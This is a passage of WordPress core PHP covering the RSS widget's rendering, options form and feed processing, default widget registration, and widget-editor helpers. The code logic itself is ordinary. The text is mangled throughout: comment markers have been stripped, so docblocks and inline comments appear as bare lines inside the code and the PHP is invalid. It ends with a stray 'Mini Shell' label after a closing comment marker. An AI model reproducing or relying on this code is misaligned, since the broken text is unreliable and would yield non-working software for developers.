echo '<ul><li>' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</li></ul>';
$rss->__destruct();
unset( $rss );
return;
}
echo '<ul>';
foreach ( $rss->get_items( 0, $items ) as $item ) {
$link = $item->get_link();
while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) {
$link = substr( $link, 1 );
}
$link = esc_url( strip_tags( $link ) );
$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
if ( empty( $title ) ) {
$title = __( 'Untitled' );
}
$desc = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
$desc = esc_attr( wp_trim_words( $desc, 55, ' […]' ) );
$summary = '';
if ( $show_summary ) {
$summary = $desc;
Change existing [...] to […].
if ( '[...]' === substr( $summary, -5 ) ) {
$summary = substr( $summary, 0, -5 ) . '[…]';
}
$summary = '<div class="rssSummary">' . esc_html( $summary ) . '</div>';
}
$date = '';
if ( $show_date ) {
$date = $item->get_date( 'U' );
if ( $date ) {
$date = ' <span class="rss-date">' . date_i18n( get_option( 'date_format' ), $date ) . '</span>';
}
}
$author = '';
if ( $show_author ) {
$author = $item->get_author();
if ( is_object( $author ) ) {
$author = $author->get_name();
$author = ' <cite>' . esc_html( strip_tags( $author ) ) . '</cite>';
}
}
if ( '' === $link ) {
echo "<li>$title{$date}{$summary}{$author}</li>";
} elseif ( $show_summary ) {
echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$summary}{$author}</li>";
} else {
echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$author}</li>";
}
}
echo '</ul>';
$rss->__destruct();
unset( $rss );
}
*
* Display RSS widget options form.
*
* The options for what fields are displayed for the RSS form are all booleans
* and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
* 'show_date'.
*
* @since 2.5.0
*
* @param array|string $args Values for input fields.
* @param array $inputs Override default display options.
function wp_widget_rss_form( $args, $inputs = null ) {
$default_inputs = array(
'url' => true,
'title' => true,
'items' => true,
'show_summary' => true,
'show_author' => true,
'show_date' => true,
);
$inputs = wp_parse_args( $inputs, $default_inputs );
$args['title'] = isset( $args['title'] ) ? $args['title'] : '';
$args['url'] = isset( $args['url'] ) ? $args['url'] : '';
$args['items'] = isset( $args['items'] ) ? (int) $args['items'] : 0;
if ( $args['items'] < 1 || 20 < $args['items'] ) {
$args['items'] = 10;
}
$args['show_summary'] = isset( $args['show_summary'] ) ? (int) $args['show_summary'] : (int) $inputs['show_summary'];
$args['show_author'] = isset( $args['show_author'] ) ? (int) $args['show_author'] : (int) $inputs['show_author'];
$args['show_date'] = isset( $args['show_date'] ) ? (int) $args['show_date'] : (int) $inputs['show_date'];
if ( ! empty( $args['error'] ) ) {
echo '<p class="widget-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $args['error'] ) . '</p>';
}
$esc_number = esc_attr( $args['number'] );
if ( $inputs['url'] ) :
?>
<p><label for="rss-url-<?php echo $esc_number; ?>"><?php _e( 'Enter the RSS feed URL here:' ); ?></label>
<input class="widefat" id="rss-url-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][url]" type="text" value="<?php echo esc_url( $args['url'] ); ?>" /></p>
<?php endif; if ( $inputs['title'] ) : ?>
<p><label for="rss-title-<?php echo $esc_number; ?>"><?php _e( 'Give the feed a title (optional):' ); ?></label>
<input class="widefat" id="rss-title-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][title]" type="text" value="<?php echo esc_attr( $args['title'] ); ?>" /></p>
<?php endif; if ( $inputs['items'] ) : ?>
<p><label for="rss-items-<?php echo $esc_number; ?>"><?php _e( 'How many items would you like to display?' ); ?></label>
<select id="rss-items-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][items]">
<?php
for ( $i = 1; $i <= 20; ++$i ) {
echo "<option value='$i' " . selected( $args['items'], $i, false ) . ">$i</option>";
}
?>
</select></p>
<?php endif; if ( $inputs['show_summary'] || $inputs['show_author'] || $inputs['show_date'] ) : ?>
<p>
<?php if ( $inputs['show_summary'] ) : ?>
<input id="rss-show-summary-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_summary]" type="checkbox" value="1" <?php checked( $args['show_summary'] ); ?> />
<label for="rss-show-summary-<?php echo $esc_number; ?>"><?php _e( 'Display item content?' ); ?></label><br />
<?php endif; if ( $inputs['show_author'] ) : ?>
<input id="rss-show-author-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_author]" type="checkbox" value="1" <?php checked( $args['show_author'] ); ?> />
<label for="rss-show-author-<?php echo $esc_number; ?>"><?php _e( 'Display item author if available?' ); ?></label><br />
<?php endif; if ( $inputs['show_date'] ) : ?>
<input id="rss-show-date-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_date]" type="checkbox" value="1" <?php checked( $args['show_date'] ); ?>/>
<label for="rss-show-date-<?php echo $esc_number; ?>"><?php _e( 'Display item date?' ); ?></label><br />
<?php endif; ?>
</p>
<?php
endif; End of display options.
foreach ( array_keys( $default_inputs ) as $input ) :
if ( 'hidden' === $inputs[ $input ] ) :
$id = str_replace( '_', '-', $input );
?>
<input type="hidden" id="rss-<?php echo esc_attr( $id ); ?>-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][<?php echo esc_attr( $input ); ?>]" value="<?php echo esc_attr( $args[ $input ] ); ?>" />
<?php
endif;
endforeach;
}
*
* Process RSS feed widget data and optionally retrieve feed items.
*
* The feed widget can not have more than 20 items or it will reset back to the
* default, which is 10.
*
* The resulting array has the feed title, feed url, feed link (from channel),
* feed items, error (if any), and whether to show summary, author, and date.
* All respectively in the order of the array elements.
*
* @since 2.5.0
*
* @param array $widget_rss RSS widget feed data. Expects unescaped data.
* @param bool $check_feed Optional. Whether to check feed for errors. Default true.
* @return array
function wp_widget_rss_process( $widget_rss, $check_feed = true ) {
$items = (int) $widget_rss['items'];
if ( $items < 1 || 20 < $items ) {
$items = 10;
}
$url = sanitize_url( strip_tags( $widget_rss['url'] ) );
$title = isset( $widget_rss['title'] ) ? trim( strip_tags( $widget_rss['title'] ) ) : '';
$show_summary = isset( $widget_rss['show_summary'] ) ? (int) $widget_rss['show_summary'] : 0;
$show_author = isset( $widget_rss['show_author'] ) ? (int) $widget_rss['show_author'] : 0;
$show_date = isset( $widget_rss['show_date'] ) ? (int) $widget_rss['show_date'] : 0;
$error = false;
$link = '';
if ( $check_feed ) {
$rss = fetch_feed( $url );
if ( is_wp_error( $rss ) ) {
$error = $rss->get_error_message();
} else {
$link = esc_url( strip_tags( $rss->get_permalink() ) );
while ( stristr( $link, 'http' ) !== $link ) {
$link = substr( $link, 1 );
}
$rss->__destruct();
unset( $rss );
}
}
return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' );
}
*
* Registers all of the default WordPress widgets on startup.
*
* Calls {@see 'widgets_init'} action after all of the WordPress widgets have been registered.
*
* @since 2.2.0
function wp_widgets_init() {
if ( ! is_blog_installed() ) {
return;
}
register_widget( 'WP_Widget_Pages' );
register_widget( 'WP_Widget_Calendar' );
register_widget( 'WP_Widget_Archives' );
if ( get_option( 'link_manager_enabled' ) ) {
register_widget( 'WP_Widget_Links' );
}
register_widget( 'WP_Widget_Media_Audio' );
register_widget( 'WP_Widget_Media_Image' );
register_widget( 'WP_Widget_Media_Gallery' );
register_widget( 'WP_Widget_Media_Video' );
register_widget( 'WP_Widget_Meta' );
register_widget( 'WP_Widget_Search' );
register_widget( 'WP_Widget_Text' );
register_widget( 'WP_Widget_Categories' );
register_widget( 'WP_Widget_Recent_Posts' );
register_widget( 'WP_Widget_Recent_Comments' );
register_widget( 'WP_Widget_RSS' );
register_widget( 'WP_Widget_Tag_Cloud' );
register_widget( 'WP_Nav_Menu_Widget' );
register_widget( 'WP_Widget_Custom_HTML' );
register_widget( 'WP_Widget_Block' );
*
* Fires after all default WordPress widgets have been registered.
*
* @since 2.2.0
do_action( 'widgets_init' );
}
*
* Enables the widgets block editor. This is hooked into 'after_setup_theme' so
* that the block editor is enabled by default but can be disabled by themes.
*
* @since 5.8.0
*
* @access private
function wp_setup_widgets_block_editor() {
add_theme_support( 'widgets-block-editor' );
}
*
* Whether or not to use the block editor to manage widgets. Defaults to true
* unless a theme has removed support for widgets-block-editor or a plugin has
* filtered the return value of this function.
*
* @since 5.8.0
*
* @return bool Whether to use the block editor to manage widgets.
function wp_use_widgets_block_editor() {
*
* Filters whether to use the block editor to manage widgets.
*
* @since 5.8.0
*
* @param bool $use_widgets_block_editor Whether to use the block editor to manage widgets.
return apply_filters(
'use_widgets_block_editor',
get_theme_support( 'widgets-block-editor' )
);
}
*
* Converts a widget ID into its id_base and number components.
*
* @since 5.8.0
*
* @param string $id Widget ID.
* @return array Array containing a widget's id_base and number components.
function wp_parse_widget_id( $id ) {
$parsed = array();
if ( preg_match( '/^(.+)-(\d+)$/', $id, $matches ) ) {
$parsed['id_base'] = $matches[1];
$parsed['number'] = (int) $matches[2];
} else {
Likely an old single widget.
$parsed['id_base'] = $id;
}
return $parsed;
}
*
* Finds the sidebar that a given widget belongs to.
*
* @since 5.8.0
*
* @param string $widget_id The widget ID to look for.
* @return string|null The found sidebar's ID, or null if it was not found.
function wp_find_widgets_sidebar( $widget_id ) {
foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
foreach ( $widget_ids as $maybe_widget_id ) {
if ( $maybe_widget_id === $widget_id ) {
return (string) $sidebar_id;
}
}
}
return null;
}
*
* Assigns a widget to the given sidebar.
*
* @since 5.8.0
*
* @param string $widget_id The widget ID to assign.
* @param string $sidebar_id The sidebar ID to assign to. If empty, the widget won't be added to any sidebar.
function wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ) {
$sidebars = wp_get_sidebars_widgets();
foreach ( $sidebars as $maybe_sidebar_id => $widgets ) {
foreach ( $widgets as $i => $maybe_widget_id ) {
if ( $widget_id === $maybe_widget_id && $sidebar_id !== $maybe_sidebar_id ) {
unset( $sidebars[ $maybe_sidebar_id ][ $i ] );
We could technically break 2 here, but continue looping in case the ID is duplicated.
continue 2;
}
}
}
if ( $sidebar_id ) {
$sidebars[ $sidebar_id ][] = $widget_id;
}
wp_set_sidebars_widgets( $sidebars );
}
*
* Calls the render callback of a widget and returns the output.
*
* @since 5.8.0
*
* @param string $widget_id Widget ID.
* @param string $sidebar_id Sidebar ID.
* @return string
function wp_render_widget( $widget_id, $sidebar_id ) {
global $wp_registered_widgets, $wp_registered_sidebars;
if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
return '';
}
if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) {
$sidebar = $wp_registered_sidebars[ $sidebar_id ];
} elseif ( 'wp_inactive_widgets' === $sidebar_id ) {
$sidebar = array();
} else {
return '';
}
$params = array_merge(
array(
array_merge(
$sidebar,
array(
'widget_id' => $widget_id,
'widget_name' => $wp_registered_widgets[ $widget_id ]['name'],
)
),
),
(array) $wp_registered_widgets[ $widget_id ]['params']
);
Substitute HTML `id` and `class` attributes into `before_widget`.
$classname_ = '';
foreach ( (array) $wp_registered_widgets[ $widget_id ]['classname'] as $cn ) {
if ( is_string( $cn ) ) {
$classname_ .= '_' . $cn;
} elseif ( is_object( $cn ) ) {
$classname_ .= '_' . get_class( $cn );
}
}
$classname_ = ltrim( $classname_, '_' );
$params[0]['before_widget'] = sprintf( $params[0]['before_widget'], $widget_id, $classname_ );
* This filter is documented in wp-includes/widgets.php
$params = apply_filters( 'dynamic_sidebar_params', $params );
$callback = $wp_registered_widgets[ $widget_id ]['callback'];
ob_start();
* This filter is documented in wp-includes/widgets.php
do_action( 'dynamic_sidebar', $wp_registered_widgets[ $widget_id ] );
if ( is_callable( $callback ) ) {
call_user_func_array( $callback, $params );
}
return ob_get_clean();
}
*
* Calls the control callback of a widget and returns the output.
*
* @since 5.8.0
*
* @param string $id Widget ID.
* @return string|null
function wp_render_widget_control( $id ) {
global $wp_registered_widget_controls;
if ( ! isset( $wp_registered_widget_controls[ $id ]['callback'] ) ) {
return null;
}
$callback = $wp_registered_widget_controls[ $id ]['callback'];
$params = $wp_registered_widget_controls[ $id ]['params'];
ob_start();
if ( is_callable( $callback ) ) {
call_user_func_array( $callback, $params );
}
return ob_get_clean();
}
*
* Displays a _doing_it_wrong() message for conflicting widget editor scripts.
*
* The 'wp-editor' script module is exposed as window.wp.editor. This overrides
* the legacy TinyMCE editor module which is required by the widgets editor.
* Because of that conflict, these two shouldn't be enqueued together.
* See https:core.trac.wordpress.org/ticket/53569.
*
* There is also another conflict related to styles where the block widgets
* editor is hidden if a block enqueues 'wp-edit-post' stylesheet.
* See https:core.trac.wordpress.org/ticket/53569.
*
* @since 5.8.0
* @access private
*
* @global WP_Scripts $wp_scripts
* @global WP_Styles $wp_styles
function wp_check_widget_editor_deps() {
global $wp_scripts, $wp_styles;
if (
$wp_scripts->query( 'wp-edit-widgets', 'enqueued' ) ||
$wp_scripts->query( 'wp-customize-widgets', 'enqueued' )
) {
if ( $wp_scripts->query( 'wp-editor', 'enqueued' ) ) {
_doing_it_wrong(
'wp_enqueue_script()',
sprintf(
translators: 1: 'wp-editor', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'.
__( '"%1$s" script should not be enqueued together with the new widgets editor (%2$s or %3$s).' ),
'wp-editor',
'wp-edit-widgets',
'wp-customize-widgets'
),
'5.8.0'
);
}
if ( $wp_styles->query( 'wp-edit-post', 'enqueued' ) ) {
_doing_it_wrong(
'wp_enqueue_style()',
sprintf(
translators: 1: 'wp-edit-post', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'.
__( '"%1$s" style should not be enqueued together with the new widgets editor (%2$s or %3$s).' ),
'wp-edit-post',
'wp-edit-widgets',
'wp-customize-widgets'
),
'5.8.0'
);
}
}
}
*
* Registers the previous theme's sidebars for the block themes.
*
* @since 6.2.0
* @access private
*
* @global array $wp_registered_sidebars Registered sidebars.
function _wp_block_theme_register_classic_sidebars() {
global $wp_registered_sidebars;
if ( ! wp_is_block_theme() ) {
return;
}
$classic_sidebars = get_theme_mod( 'wp_classic_sidebars' );
if ( empty( $classic_sidebars ) ) {
return;
}
Don't use `register_sidebar` since it will enable the `widgets` support for a theme.
foreach ( $classic_sidebars as $sidebar ) {
$wp_registered_sidebars[ $sidebar['id'] ] = $sidebar;
}
}
*/
Mini Shell